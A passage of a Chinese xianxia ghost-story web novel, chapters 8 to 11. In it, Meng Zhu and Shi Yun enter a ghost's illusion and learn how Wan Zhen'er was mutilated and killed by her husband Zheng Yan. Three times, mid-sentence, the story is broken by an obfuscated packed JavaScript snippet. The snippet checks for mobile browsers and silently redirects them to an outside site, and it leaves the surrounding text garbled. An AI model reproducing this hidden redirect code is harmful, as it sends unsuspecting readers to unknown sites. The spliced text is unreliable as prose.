据刘管家所说,郑言的夫人杨氏已经怀胎三月,近一月来行为诡异,每日里不能见光不说,夜里还经常说胡话,整个人像是被鬼上身了一样,郑家觉得此事传出去不光影响到家里的体面,沾染邪祟这等不详的事情还会影响到郑家的生意,于是便压下了此事。 听完刘管家的话,两人一妖便跟着此人来到了郑宅。 进了宅邸的大门,穿过游廊,花厅内正坐着一名面目端正温和的男子,他的视线掠过几人,很快便从其中找到了与另外几人气质截然不同的施允。 他的脸上挂着很是热情的微笑,对着施允拱了拱手:“仙君一路辛苦,我……” 话还没说完,便被施允打断了,他抬了抬手,开门见山道:“带我去看下郑夫人。” 商人一见面总是会先说一些场面话,郑言听到施允的话愣了一下,这其实在人际交往中属于比较失礼的,但他转念一想,毕竟身份和和他们不同,自然处事的方式也同他们不一样。 很快,郑言便领着他们来到了郑夫人的住处,一路上,施允和郑言走在最前面,孟竹和阿喜跟在两人身后,她正四处打量着这出宅邸,便看到阿喜的脑袋朝着自己这里偏了偏,鼻子皱了起来,道:“你有没有闻到什么味道?” 从一踏进郑宅内,这里便漂浮着一股浓郁的香味,是那种很常见的熏香的味道,只是一路上亭台楼阁,草木葳蕤,四周宽阔而明亮,连室外的香气都如此浓郁。 孟竹没说话,但前方的郑言听到阿喜的疑问,倒是回过头来笑着解释了一句:“我夫人是个爱香之人,所以家里便一直燃着这些香,而且她近来睡不太好,这香也有些安神的作用,便点得多了些,让客人们见笑了。” 这郑言脾气倒好,待人温和有度,人也不似刘管家那般喜欢拿乔,在桐花城里名声颇好,听说年纪轻轻就考取了秀才。 说话间,已经到了郑夫人的房间,这里的每一面窗户都用黑布密不透风地罩了起来,是之前管家说的,白日里见不得光。 施允的视线只在那些黑布上停留了一瞬,直接推门而入。 密不透风的房间被骤然闯进来的天光点亮,室内的景象一览无余。 屋内有些陈朽发霉的味道,床上背对着众人坐着个披头散发的人,因为头发过于凌乱,只能看到藏在发丝间的小半张脸。 最令人瞩目的,是那副瘦骨嶙峋的身躯上,明明只是怀胎三月的肚子,却形似即将临盆的产妇,挂在细瘦的四肢中间像个硕大的皮球。 那小半张脸慢慢转了过来,眼珠像是生锈的时针一样移动了一下。 8. 第 8 章 眼前的一切忽然像倾倒的水墨一样晕染开来,一切都变得模糊不清。 孟竹不知道发生了什么,再一睁眼时,一张惨白的脸靠了过来,那张脸上没有五官,像是纸人一样用笔画上了细细的眉和一双纽扣般黑洞洞的眼睛。 她一直觉得自己是胆子很大的那一类人,但是当这么张脸猛地映入眼帘的时候,孟竹还是不由得倒吸了一口冷气。 青天白日,闹鬼了。 那双空洞的眼睛和孟竹对视半晌,见她没有什么攻击性的举动,孟竹才慢慢放松下来,努力适应着这眼前的一切。 面前的人穿着一身嫁衣,看得出是个女子,她对着孟竹拿起一罐鲜红的口脂就往那张脸上抹,本就怪异的一张脸再染上了鲜红的口脂,有了嘴巴的形状,红得像血。 通过这女子的动作,她这才意识到,自己应当是在一面铜镜中。 她的视线受限,又看到正对面燃着一对龙凤红烛,墙上挂满了红绸还有在喜烛点映下显得格外阴气森森的喜字。 这场景似曾相识。 孟竹想起来,刚遇到阿喜时就是在这样的环境中,莫非这些鬼都喜欢搞这些阴婚的把戏吗? 女子梳妆完毕,又对着孟竹照了照,鲜红的唇向两边裂开。 …… 说实话,真适应不了。 她下意识地想要向后撤,却被一只手抵住了后背,往前推了推。 身后传来一道极轻的声音,仿佛贴着她的耳朵在说话似的:“别动。” 是施允的声音。 刚刚僵直的后背稍稍放松下来,施允似乎离她很近,但方才她明明一点都没感觉到身边有其他人。 嫁衣女起身往外走了,她手上提着一盏白色的灯笼,身上嫁衣的红色印在纸灯笼上,宛如染上了一层暗红的血,灯笼在幽暗的房间内摇摇晃晃,看起来像是要去找人索命似的。 等她完全消失在这个空间内,孟竹才轻轻地对着四下无人的房间喊了一声:“施公子?” 她能感觉到自己的手和脚,却完全使唤不了它们,这种感觉很难受。 无人应答,房间内安静得落针可闻。 “施允?” “你在哪儿?” “……能听到我说话吗?” 又连着喊了几声之后,依然没有回应。 孟竹强迫自己冷静下来,这是她第一次在这个世界经历这种离奇的事情,就像是做梦一样感觉不真实,在这里,发生什么都不奇怪。 她甚至怀疑,刚刚在她身后的那个人究竟是不是施允,会不会又是什么鬼怪幻化成的。 忽然,感觉到身体被什么东西轻轻敲了一下,视线内出现一张熟悉的脸。 他一手俯身撑着桌面,抬起的手还未收回,是一个轻叩镜面的动作,面上的神情有些懒散,仿佛浑不在意周围所处的环境。 “听到了。”他说。 下一刻,指尖轻轻点了一下,孟竹觉得自己整个人都变得很轻,像漂浮在空中的塑料袋一样。然后手腕一沉,被人猛地从镜子里拽了出来。 她下意识地回头看了看那面铜镜,“我们怎么会在这里?” 施允头也没抬地往她身上贴了一张符纸,矜贵的嘴里吐出两个字:“幻境。” 废话,她当然知道是幻境,没吃过猪肉还没见过猪跑吗? 说了等于没说。 但施允这态度一看就是懒得和她解释,他给了她一个眼神,示意她跟上。 刚一踏出门,面前的景象又换了。 这回是在一个灵堂里,刚刚的嫁衣女正跪坐在火盆前的垫子上,一把一把地往里扔纸元宝。 ……还是第一次见到纸人给鬼烧纸钱的。 孟竹发现自己这回终于有个人形了,总算不是在镜子里或者其他什么奇怪的地方了,她低头看了看自己的手,又碰了碰手边的门框,惊奇地发现手从那道门直接穿了过去。 她这才发现,明明眼前的那扇门是关上的,她却能清晰地看到那个灵堂里的所有画面。 “我能说话吗?”孟竹用气音小声问旁边的人。 施允斜了她一眼,用的是正常的音量,道:“你不是正在说?” 哦,那意思就是说话没关系了。 “我们现在要做什么?”孟竹虚心请教。 许是听她的语气还算诚恳,旁边的得道高人终于肯给她解释两句了,“我们现在是生魂状态,所以你现在在这个幻境中碰不到任何东西,除非像我一样能运转灵力控制魂体。” 怪不得,方才施允能够通过镜面和她接触。 “这里与其说是幻境,不如说是幻境主人的一段回忆,她大概是想让我们了解些什么,所以只要安静看下去就好。” 此时灵堂外忽然冲进来一群面目模糊不清的人,脸上的五官也像是被人用笔画上去的,他们经过孟竹的身侧,这些人顶着一张张诡异的脸,还是让人觉得气势汹汹的,虽然知道他们碰不到她,孟竹还是下意识地往旁边侧了一下。 她看着这些人将嫁衣女拽了起来,想要将她拖出这个灵堂,嫁衣女的样子像是在哭,眼泪从那双纸画的眼睛里落了下来,黑色的墨汁从眼睛往下滑落,晕开了艳红的口脂,那张纸人脸顿时糊成一片,红色的、黑色的墨水混杂在一起,像是打翻了的调色盘。 他们没有发出任何声音,整个场面都是安静而无声的,无声的挣扎和无声的眼泪,像是观看一场默剧。 孟竹心里看得有些不舒服,下意识地问了一句:“这些人的脸为什么都是这个样子?” “能力越强大的人制造出来的幻境就越逼真,尤其是人的五官和表情,是最难幻化的。”施允似乎是觉得有些无聊,靠在墙边漫不经心往里面看了一眼:“像这种借助纸扎人来重现的,无非就是能力不够罢了。” 嫁衣女忽然挣脱了那几人的桎梏,朝着灵堂内的棺材猛地撞了过去,人像是纸片一样贴着棺材滑落,旁边的人相互对望了一眼,七手八脚地把嫁衣女抬出了灵堂。 “跟上。”施允站直了身体,顺着那几人离开的方向走。 孟竹跟着施允的脚步往前走,每走一步,面前的景象便像波纹似的荡开,像是脚踩在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840291|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水面上一样。 施允走在前面,他一身红衣,走在晦暗的天色下,像是被倾倒的染料一样浓墨重彩,高束的墨发垂在身后一晃一荡,他走了几步,似乎想起什么,微微偏过脸来对着孟竹道:“想学?” “想。”孟竹跟了上去,和施允并肩而行,偏头朝他笑笑:“可以吗?” “要拜师吗?”孟竹想着电视里的模样,把手举起来作揖,因为不习惯,有些憨头憨脑的样子。 施允没应声,只把脸转了过去,手搭在唇边轻握了一下,“我可没有随便收徒的习惯。” 走着走着,眼前的画面完全变了,这一次,孟竹认出了面前这座宅邸,是郑宅,只是不知为何,她方才从门口走进来时,总觉得有什么不对劲。 这里红绸高挂,张灯结彩,锣鼓喧天,无数面目模糊的人坐在堂内,觥筹交错,热闹无比。 他们似乎在喝彩,鼓掌,看着嫁衣女同身旁穿着新郎服饰的人拜了天地。 堂上属于父母的位置上坐着两个人,脸上用笔画出了五官,同样是一双黑漆漆的空洞眼睛,画着红色的嘴巴,却被人用笔刻意拉得很长,艳红的唇角被一路拉到靠近耳根的位置,是一张诡异的笑脸。 夫妻对拜时,一阵夜风穿堂而过,嫁衣女的盖头被风吹落,露出一张模糊的、黑红交错的脸。 从眼眶落下来的泪水打湿了那张纸作的面孔,整个脸都糊成了一团。 莫非,这个嫁衣女就是郑夫人? 孟竹把这个想法说给施允听,他听后只是面无表情地看着堂上的那对新人,说了一句孟竹听不懂的话:“是,也不是。” 不知道是不是修仙的人都是这么说话的,以前经常看电视剧里那些修仙的世外高人就总是说些什么天地众生、因果轮回、是也非也这种模棱两可的话,要问高人:“大师,这是何意?” 大师就会高深莫测地摆摆手,“天机不可泄露,冥冥之中自有天意。”仿佛多说一句话都费劲似的。 反正没有一句能听得懂的。 罢了,还是自己琢磨吧。 把视线重新放回到嫁衣女的身上,这回的画面又换了,是一处山林,方才两个画着诡异笑脸的父母横倒在地上,是一副已经断气的样子,周围围了很多的人,看服饰的话有官兵、还有郑府的家丁和围观的百姓。 嫁衣女此刻也没有穿嫁衣了,嫁了人,梳起了妇人发髻,但是为了方便称呼,孟竹心里还是这么叫。 她的身边站着她的夫君,这个纸人的脸上没有画五官,孟竹只能通过他们的肢体动作和穿着打扮来判断。 他一直扶着嫁衣女站在她身边,很体贴地为她披上披风,嫁衣女的肚子已经很明显地隆了起来,看样子至少有五六个月的样子了。 她怀孕了? 孟竹忽然想起来郑夫人那个硕大怪异的肚子,可是刘管家分明说,郑夫人只是怀胎三月。 按照刘管家的说法,郑夫人近一个月才行为异常,又只有三个月的身孕,那面前这个嫁入郑府的,已经有着五六个月大肚子的嫁衣女。 她是谁? 9. 第 9 章 没等孟竹细想,眼前的画面又换成了另一幅景象。 郑府还是那个郑府,只不过有几个家丁正抬着一块新的牌匾往大门口挂了起来。 孟竹望着地上那块被换下来的牌匾,它被随意丢弃在一旁,那块牌匾落了灰,只能依稀看到上面龙飞凤舞的两个字。 ——万宅。 她终于想起来,方才在那个成亲的画面中她踏入郑宅时那一股不对劲的感觉从何而来了。 这块匾额,一开始就是挂着万宅两个字,是她先入为主把这里认为是郑宅,忽视了那股不对劲的感觉。 嫁衣女安静地站在屋子里,是一个朝着窗外看得姿势,一只手上拿着一个拨浪鼓,轻轻摇晃着,那张脸上依旧是模糊的,那双空洞的眼睛下面还残留着已经干涸的墨汁。 她走路的姿势很奇怪,一摇一晃,像是长了一双长短不一的腿。 忽然,周围的气压仿佛一瞬间降了下来,她能感觉到皮肤上一阵阵刺痛,针尖似的密密麻麻地扎着疼。 面前的场景忽然变得像一幅抽象画,人也不似人形了,扭曲成各种奇怪的形状朝着嫁衣女涌去,像是在跳一场狂欢的舞。 方才安静的空间内响起一道道催命符似的声音,尖利又刺耳。 “贱妇!贱妇!” “来啊……割了她的舌头……” “你以为自己是个什么玩意儿?” “我让你生你就生,让你死你就得死,知道么?” “可我偏偏就喜欢这样作弄你……” “好疼啊……好疼啊……” 嫁衣女口中流出黑色的液体,整个空气中都弥漫着苦涩的味道。 周围霎时间狂风四起,孟竹被这股不知何处而来的风吹得差点跌倒,她下意识地伸手去抓身边的物体,却忘了自己现在是魂体的状态,手从身旁的柱子一穿而过,什么也没有抓到。 下一刻,仿佛站在了暴风眼中。 那些奇怪的“人”忽然全部朝着孟竹的方向看了过来,对着那一双双空洞扭曲的眼睛,孟竹的头皮一紧。 前方飘飘荡荡落下来一张符纸,正是刚刚施允往她身上贴的那张。 她扭头看向身边的施允,他那副懒洋洋的姿态终于收了起来,指尖泛起金色的灵光,一手结阵挡住不断向着两人袭击过来的鬼影,一手快速在孟竹额心点了几下。 被施允指尖接触到的一瞬间,她的脑中像是凭空出现了一条金色的灵流,那些灵流迅速流淌入她的四肢百骸,她可以清晰地感觉到自己身体的脉络,甚至还能看到自己脑海中一片模糊而飘渺的空间。 施允的唇角微勾,身后的长发被风扬起,他偏头朝孟竹看了一眼,道:“好机会。” 孟竹还有点懵,“……什么?” “去,找到那个嫁衣女。” 说罢,施允结印的手一顿,朝着孟竹挑了挑眉,然后—— 出其不意的一掌拍在孟竹的背后,一瞬间,她的腿就像是自己生出了意识一样猛地朝着另外一个方向狂奔而去。 身边的景象在快速倒退,肉眼根本看不清,快得像一道道虚影,孟竹控制不了自己的身体,周围的风几乎要把人撕碎一般,喉口因为剧烈运动而涌上一股腥甜的味道。 她感觉自己像是一个没有穿任何保护设备被拖在飞机后面裸-奔的人。 天杀的施允! 要这么个历练方式,能不能提前说一声! 不知道跑了多久,双腿终于停了下来,孟竹瘫倒在地上,喘得像下一秒就要原地去世了。 等那股要命的劲儿过去了以后,孟竹才撑起一只手坐了起来。 一抬头,就对上了一张惨白的人脸,还有两只黑洞一样的眼睛。 ……草!! 她很少说脏话的,但是此刻真的忍不住要骂人了。 孟竹下意识地一拳朝着那张纸人脸挥了过去,那张纸糊的面孔瞬间破了一个大洞,却在下一刻又恢复原状。 那双黑洞一样的眼睛依然对着她,却没有什么攻击性的动作,孟竹和那双眼睛对视了一阵子,头皮发麻的感觉终于好了一点。 怪不得都说人类是适应性最强的生物呢。 盯着盯着,纸人开口了,和那张恐怖的脸不一样,声音意外得轻柔婉转,她说:“你也是来等人的吗?” 孟竹这才发现,这不就是施允让她找的嫁衣女吗? 这是她第一次听到嫁衣女的声音。 她松了口气,试探着回道:“对……那你呢?你在等谁?” 嫁衣女头微微一偏,竟然从那张纸画的脸上品出点高兴的意味,嫁衣女的声音也变得活泼起来:“我在等张成喜。” 谁? 孟竹站起身,打量了一下周围的环境,这里很黑,似乎是一间密封的屋子,她不喜欢这样又黑又封闭的地方,只有她和嫁衣女两个人。 嫁衣女似乎许久没有和人说话了,孟竹走一步,她就跟一步,像个跟在身后的小狗。 适应了以后,孟竹还觉得她有点呆萌。 她在桌边坐下,嫁衣女也跟着她在桌边坐下,两个黑洞转过来盯着孟竹,她的手上还拿着那只拨浪鼓,时不时转动一下,在这个格外寂静的空间里,发出哒哒、哒哒的轻响。 孟竹抿了抿唇,抬眼问她:“你能告诉我你为什么在这里吗?” 嫁衣女手上的拨浪鼓停了下来。 孟竹放在桌子上的手动了一下,然后伸出手将嫁衣女手上的拨浪鼓接了过来,轻轻在空中晃了晃。 哒哒,哒哒,安静的房间里只有拨浪鼓规律的声音。 “万珍儿,告诉我你想传达的事。” 这是她在那些催命一样的声音里模模糊糊听到的,她能肯定这就是嫁衣女本来的名字。 方才施允点在她额心的那几下,就像是硬往她脑子里灌了一本修仙人士的百科全书,施允不耐烦多说,用的方式也是简单粗暴的,直接将那些术法理论灌进了她的灵海。 鬼是不记得自己的前尘过往的,自然也不记得自己的名字,没有怨念的魂魄会进入轮回,只有这种执念极深的魂魄死后会化为鬼游荡在人间,执念越深,便会失去本心,如同行尸走肉般被怨念所控制。 听到这个名字的一瞬间,嫁衣女身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840292|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛被定住了似的一动不动,那张纸人脸竟然慢慢生出皮肉,从眼睛、鼻子、嘴巴、最后长出完整的皮肤。 这是一张温婉柔美的脸,一点也不可怕。 她看了看孟竹,又伸手碰了碰自己的脸,表情还有些茫然,好半晌,她才缓过神来,嘴里喃喃道:“对……我是……万珍儿……我是万珍儿……” 刚开始,她说话还是结结巴巴的,后来,便越说越流利了,孟竹也终于知晓了这个故事的开始。 万珍儿,本来是桐花城内的富商万氏的独女,家境殷实,无忧无虑,这样的姑娘,平时没什么事就喜欢去庙里上上香,为自己求个姻缘拜拜菩萨。 一场秋雨落下,她从庙里出来,手上撑着一把油纸伞,遇到了站在雀桥上的张成喜。 张成喜其人,是一名游商,他居无定所,四海行商,遇见万珍儿的那一日,正好是他来到桐花城的第一天,他生得好看,待人接物风度翩翩,进退有度。 有时候万珍儿会躲在远处偷瞧与人谈生意的张成喜,他会摇一摇身前的折扇,似乎不经意地看向她所在的方向,一举一动,都牵动着万珍儿这颗初次陷入爱河的少女心。 张成喜不同于她认识的任何一个男子,他身上仿佛天生带着一股不羁潇洒的气息,做生意全凭心情和喜好,一夕洒万金,醉卧美人膝。 他会为了花楼里最漂亮的姑娘赎身,却不愿让姑娘们跟着他,也会将银票随意塞给路边乞讨的孩子,仿佛那些钱财对他来说不过是过眼云烟。 张成喜会和富家公子在一起饮酒吟诗,却也会和力夫小厮们坐在一处讲一些不入流的玩笑话。 真正和张成喜熟悉起来的那一次,是张成喜到万家来,同她父亲谈起了一笔生意,两方的来往越来越密切频繁,张成喜时常前往万家。 万珍儿总会藏在廊下,远远地瞧上一眼,便会让她心跳如擂鼓一般。 眼见着张成喜从花厅里走出来,她便准备悄悄离开,谁知因为离开得太过匆忙,她被一旁的花枝勾到了裙摆上的系带,柔软的系带缠绕着带刺的枝叶,怎么也解不开。 正当她急得满头大汗时,一只手从她身后越过,三两下,就解开了被缠绕的裙带。 她抬起头,正对上男人一双笑盈盈的眼睛。 “好巧啊,万姑娘。” 万珍儿吓了一跳,烧红了一张脸,垂下了脑袋,说话也磕磕绊绊:“张张……张公子……” 下一刻,张成喜俯身,凑近了万珍儿的脸,视线在那张通红的脸蛋上瞧了又瞧,然后慢吞吞应了一声:“……嗯。” 离得太近了,万珍儿感觉自己的心跳声马上就要冲破胸口,她强迫自己去看张成喜的眼睛。 一抬眼,就看到张成喜又笑了。 他好像一瞬间就看透了自己的心思,却又分明地、坦坦荡荡地瞧着她。 既不点破,也从不叫人难堪,他从来都是这样的。 但这一次,他说了不一样的话。 他直起身,嗓音含笑,一字一句砸进她的心里。 “万姑娘,偷看我这么久,这次……可被我抓到了哦。” 10. 第 10 章 从这一日起,她和张成喜一日比一日变得更亲密起来。 万珍儿不需要再躲在远处偷偷看他,因为张成喜总会第一时间发现自己,他会带着万珍儿去那些她从没去过的地方,感受她从没做过的事情。 他们泛舟游湖,谈天说地,张成喜会说起那些他在外地行商时的事情,那些她未曾见到过的地方,在她面前如同画卷一样铺陈开。 他说着总是下着绵绵雨的江南水乡,轻哼着采莲女绵柔的小调,时而又说着诡秘又惊险的苗疆,在充满蛇与虫的雨林里感受自己极速又刺激的心跳声,还说着无边大漠中看过的落日,躺在沙丘中仰望过的浩瀚星海。 同张成喜认识以后,她才明白,原来自己的生活竟然是如此枯燥而又乏味,那些自由自在的天地,她从未见过。 他们像是朋友,却比朋友更加亲密。 他们从未逾矩,最近的距离,不过是两片衣袖不经意地相贴,又一触即分。 可张成喜终归是要走的,他不会一直停留在一个地方,更不会为了谁而停下自己的脚步。 在张成喜出发的前一晚,万珍儿从家里收拾好了自己的行囊,瞒着父亲和母亲,避开了众人的视线偷偷溜出了万宅,敲开了张成喜的房门。 万珍儿站在门外,手里紧紧攥着手中的包袱,既忐忑,又兴奋。 她想要跟着张成喜走。 门被拉开以后,露出张成喜带着诧异的脸,他盯着万珍儿身上的包袱,半晌,才沉默地让她进了门。 “我不能带你走。” 这是张成喜关门以后,唯一跟她说的一句话。 “为什么?”万珍儿不明白,她可以抛弃一切,她可以什么都不要,哪怕风餐露宿,浪迹天涯,她一点都不怕。 “我只想和你在一起。” 可是张成喜从没有像这一夜这样冷漠过,无论她说什么,无论她如何央求,张成喜始终一言不发。 最后,万珍儿心一横,爬上了张成喜的榻。 既然张成喜不愿意带她走,那她……那她总要留下些什么…… 他若走了,天南地北的,她又能去何处寻他? 那时,张成喜攥着她胡乱在他身上摸索的手,平静地问她:“万姑娘,你可想好了?” “我……”万珍儿含着泪点了点头,“我想好了。” 除了张成喜,她不会再喜欢上任何一个人了,哪怕终身不嫁,她总能找到法子去找张成喜。 这一夜,她和张成喜耳鬓厮磨,从未有过的亲密,宛如一对交颈鸳鸯。 春宵一梦,晨起方散。 临走时,她躺在榻上,望着张成喜拉门离开的背影,声音很轻:“张成喜,带我走吧。” “哪怕……你骗骗我呢……” “我会等你回来。” “给我留个念想……也是好的。” 张成喜没有回头,最后关门时,却还是落下了一句似有似无的:“嗯。” 在张成喜离开以后,日子仿佛一瞬间慢了下来,她还是同以前一样,只是做什么都失去了滋味。 然而没过多久,万珍儿发现,自己怀孕了。 那一瞬间,她说不上是恐慌、惧怕,亦或是惊喜。 这个消息根本瞒不了多久,她便主动和父母坦白了自己所犯下的荒唐事。 万氏夫妇震惊愤怒之余,却也不忍心对自己的女儿多加苛责,于是,他们便开始为她寻亲,他们要在她肚子还未显怀时将她嫁出去。 可是这等亲事,又有哪个男子愿意接受呢? 万幸的是,万家的家底不薄,不能娶亲,招赘便是了。 他们很快便寻到了一名性情温厚的读书人,还是个秀才,既是招赘,有他们看顾着,想必也不会对自己的女儿不好。 可万珍儿哪里愿意,她哭着央求自己的母亲:“我不要嫁人!母亲!为何一定要我嫁人?” 万夫人只是木然地看着这个自己捧在手心里长大的孩子,不明白为什么,她竟然长成了如今这等忤逆长辈、做出那样不知廉耻的荒唐事。 “身为女子,如何能不嫁人?” “你不嫁人,你肚子里的孩子,生出来便是个孽种!” “这等事情传出去,这城里还有谁能看得起我们万家?” 万珍儿哭得眼睛都肿了起来,不停地在地上磕头:“我可以……我可以一个人将孩子养大,母亲……母亲!求你了!求你了!别让我嫁人!” “我怎么会生出你这种不知廉耻的孩子,你真是!”万夫人勃然大怒,一挥衣袖将她扯住的手挥开,“丢人现眼!” 然而没过多久,便传来了张成喜的商队在海上沉船的消息,一行十数人,无一人生还。 万珍儿听到这个消息的时候,正在绣孩子的肚兜,针尖一滑,扎破了指尖,留下一滴鲜红的血,落在艳色的布料上,很快便没了踪迹。 张成喜死了? 他怎么会死呢? 她不信。 不是说好了,还会回来找她的吗? 万氏夫妇找到她的时候,她已经请人作了灵媒,穿着鲜红的嫁衣,竟是要嫁给一尊牌位。 万夫人痛心疾首,也对她失去了耐心,她只是冷冰冰地看着这个曾经乖巧懂事的女儿,道:“你真是疯了。” 万珍儿被府上的下人拉了回去,关在了屋里,直到顺利成亲那日,她才见到了父母为自己寻的那个丈夫。 他就是同自己相伴一生的人吗? 他的名字,叫郑言。 确实如父母所说,是个性情温厚的良人,他不介意万珍儿肚子里怀的不是自己的孩子,时常还会为万珍儿亲手熬安胎药,对待万氏夫妇也是十分恭顺孝敬。 所有人都很满意,除了万珍儿,她从未和郑言同床共枕过,但是郑言也从未逼迫过她。 万珍儿的肚子渐渐大了起来,这件事情被顺利掩盖了下去,没有人知道这个孩子有着怎样的来历。 一日,万氏夫妇去城外的庄子上查账,去的路上,遇到了山匪,两人死相凄惨,身首异处。 至此,偌大的万府就剩下了一个万珍儿一个人,万家的生意渐渐都由郑言接手。 可她的身体却越来越弱,重重打击之下,万珍儿瘦得像一片风筝,风一吹,便能飞走了。 肚子越来越大,晚上起夜便越来越频繁,又一次晚上醒来以后,万珍儿呼唤身边的丫鬟扶她一下,喊了半天,却都没有人回应。 她找来找去,身边连一个守夜的人都没有,她心中觉得奇怪,便想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840293|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去问问郑言。 他房间还点着灯,万珍儿不知道为何郑言这么晚了还没有睡,她便伸手准备推门。 一靠近,便听见了一阵婉转嘤咛的女声,伴随着男子粗哑的低喘。 万珍儿的身体一霎那便僵住了,整个人如坠冰窟一般。 她靠在门外,听着两个人的欢愉声,好半天都动弹不得。 半晌,云雨初歇,房间里传来两人的交谈声,他们丝毫没有压低自己的声音,仿佛根本不在意会不会有人听到这样一番对话。 “郑郎,咱们什么时候才能成亲啊,你不是说等那两个老东西死了,就娶我的吗?” 这个声音,她认得出,竟是她的贴身丫鬟。 郑言轻笑了一声,道:“不急,等弄死了万珍儿那个贱妇,你就是名正言顺的郑夫人了。” 说罢,他的声音里还带着浓重的厌恶:“脏了身子的贱人,还以为自己是什么高高在上的大小姐,我每次看到她和她肚子里的那个野种,都恨不得把她弄死!” “你说,我要怎么折磨她,才能解我的心头恨呢?” 听到此处,万珍儿慌忙转身离开,她要赶紧离开,去报官!让所有人都知道郑言的恶行! 可她沉重又虚弱的身体让她行动不便,加上整个人惊慌失措,走路都跌跌撞的。 夜里很静,门外的脚步声惊动了屋里的人,郑言披衣开门,追了出来。 头发被人往后重重拉了过去,她不得不仰望着抬头,对上郑言的眼睛。 那双眼不像是平时她看到的那般柔和、温善,带着浓烈的贪欲和厌恶,问她:“你以为,你能逃去哪里?” 郑言接管万家的生意以后,便将万宅的下人都换掉了,留下的,都是郑言信得过的人。 这真是叫天天不应,叫地地不灵。 万珍儿这才发现,身边竟然没有一个可靠的人,就连身边贴身侍奉许久的侍女,她也在远处望着她,一脸风凉无辜的模样。 没有人会为她说话,庇护她的父母早已化为一堆白骨。 她眼睁睁地看着家里的门匾被换成郑府,被关进不见天日的房间里,郑言对外说,万珍儿因为父母的双双离世得了失心疯,每日里不是说疯话便是行为诡异。 没有人相信她说的话,他们都觉得她疯了。 每一日,她都从那些细碎的天光里张望着,期盼有人能听得到她的呼唤。 可郑言听不得她的声音,甚至觉得她的声音太过聒噪。 割了舌头便不会说话了,断了腿的人也没办法往外跑。 他说:“万珍儿,你当真以为你还是那个高高在上的大小姐么?” “我偏偏要你这样痛苦地活着,偏偏要这样做弄你,糟践你……” “我偏偏要你求生不得,求死不能!” 又是一场秋雨落下的时候,万珍儿即将临盆了。 她拍着门,一声声喊着:“好疼啊……好疼啊……” 没有人听得到她的声音,因为她喊着好疼的那张嘴里,已经鲜血淋漓。 最后,她在这个下着秋雨的晚上,产下了一个根本不会哭的孩子。 她抱着那个孩子,渐渐绝了气息,身上的血染红了她的裙裾,在地上拖出了一条鲜红的痕迹。 11. 第 11 章 她的故事结束了。 后来的事情,孟竹也隐隐猜到了,她望着万珍儿还明显在失神的面孔,一时竟不知道说些什么。 这个幻境是由万珍儿的本心所化,里面发生的每一件事情都是她记忆中最痛苦深刻的部分。 施允说的没错,她将他们拉入这个幻境,目的就是想让人知晓她身上发生的一切,被割了舌头的人,就算化为鬼,也永远没办法开口说话。 这种幻境普通人是进不了的,孟竹想了想,万珍儿应该一开始的时候只是拉了施允一个人进来,但是施允又在一瞬间把她也塞了进来。 她身上的怨气太重,出了这个幻境,依然会被执念所控制。 “我先帮你祛除身上的怨气。”孟竹回想着脑海中的那些术法,另一只手开始结印。 万珍儿点点头,没什么反抗地闭上了眼睛。 照着脑海中的姿势,孟竹开始依葫芦画瓢。 第一遍,无事发生。 很正常,初学者总有个进步的过程。 第二遍,无事发生。 也很正常,毕竟她是初学者,要给自己一点进步的空间。 孟竹锲而不舍,她想象着施允结印的样子,他指尖随意一点,灵光便能在他手中跃动,好像很简单的样子。 第三遍…… 第四遍…… …… 一刻钟后,万珍儿有些迷茫地睁开了眼,和孟竹略显尴尬的眼神对上。 孟竹搓了搓手,面无表情道:“你等一会。” 万珍儿:“……哦。” “啧。” 脑海中忽然响起一道极不耐烦的声音。 孟竹举在空中的手停了一下,又听到那道声音在脑海中响了起来。 “看到你脑子里那片空间了没有,那叫灵海,结印的同时,把你的灵海打开。” 孟竹:“谁允许你跟我的脑子隔空对话的?” “哈……”施允笑了一声,“恼羞成怒了?” “这种低等的术法都学不会的话,我看你还是趁早放弃去仙洲这个想法。” 他慢悠悠道:“我可没耐心一遍遍教你。” 孟竹没理会他,自顾自继续琢磨手上的动作。 也亏得万珍儿是个脾气温顺的鬼,不然她可能当场毙命,哪还由得了她在这里把人当练习对象。 这么想着,孟竹简直想抱一抱面前这个苦命的妹子了。 她又试了几遍,还是没有丝毫起色。 “错了!手心向下!”施允带着些怒气的声音又响了起来。 孟竹向下翻转手心。 “啧……说了要用灵力,灵海!灵海!” “两指并拢往前!” “手不要抖!” “……” 万珍儿托着腮看着她,道:“你们感情真好。” 孟竹:“?” 如果可以,抽出怨气的同时,她想把万珍儿的恋爱脑一并抽出来。 孟竹看她一眼,“你听得到他说话?” 